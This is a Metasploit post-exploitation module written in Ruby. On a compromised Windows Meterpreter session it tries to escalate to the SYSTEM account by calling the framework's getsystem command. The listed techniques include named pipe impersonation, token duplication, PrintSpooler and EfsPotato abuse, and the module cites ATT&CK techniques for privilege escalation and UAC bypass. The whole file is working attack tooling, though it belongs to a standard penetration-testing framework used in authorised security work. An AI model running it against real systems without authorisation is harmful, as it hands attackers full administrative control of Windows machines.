1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'metasm'
7

8
class MetasploitModule < Msf::Post
9
  include Msf::Post::Windows::Priv
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Windows Escalation',
16
        'Description' => %q{
17
          This module uses the `getsystem` command to escalate the current session to the SYSTEM account using various
18
          techniques.
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => 'hdm',
22
        'References' => [
23
          ['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
24
          ['ATT&CK', Mitre::Attack::Technique::T1548_002_BYPASS_USER_ACCOUNT_CONTROL]
25
        ],
26
        'Platform' => [ 'win' ],
27
        'SessionTypes' => [ 'meterpreter' ],
28
        'Compat' => {
29
          'Meterpreter' => {
30
            'Commands' => %w[
31
              priv_elevate_getsystem
32
            ]
33
          }
34
        },
35
        'Notes' => {
36
          'AKA' => [
37
            'Named Pipe Impersonation',
38
            'Token Duplication',
39
            'RPCSS',
40
            'PrintSpooler',
41
            'EFSRPC',
42
            'EfsPotato'
43
          ],
44
          'Stability' => [CRASH_SAFE],
45
          'SideEffects' => [],
46
          'Reliability' => []
47
        }
48
      )
49
    )
50

51
    register_options([
52
      OptInt.new('TECHNIQUE', [false, 'Specify a particular technique to use (1-6), otherwise try them all', 0])
53
    ])
54
  end
55

56
  def unsupported
57
    print_error('This platform is not supported with this script!')
58
    raise Rex::Script::Completed
59
  end
60

61
  def run
62
    technique = datastore['TECHNIQUE'].to_i
63

64
    unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)
65

66
    if is_system?
67
      print_good('This session already has SYSTEM privileges')
68
      return
69
    end
70

71
    begin
72
      result = client.priv.getsystem(technique)
73
      print_good("Obtained SYSTEM via technique #{result[1]}")
74
    rescue Rex::Post::Meterpreter::RequestError
75
      print_error('Failed to obtain SYSTEM access')
76
    end
77
  end
78
end
79

80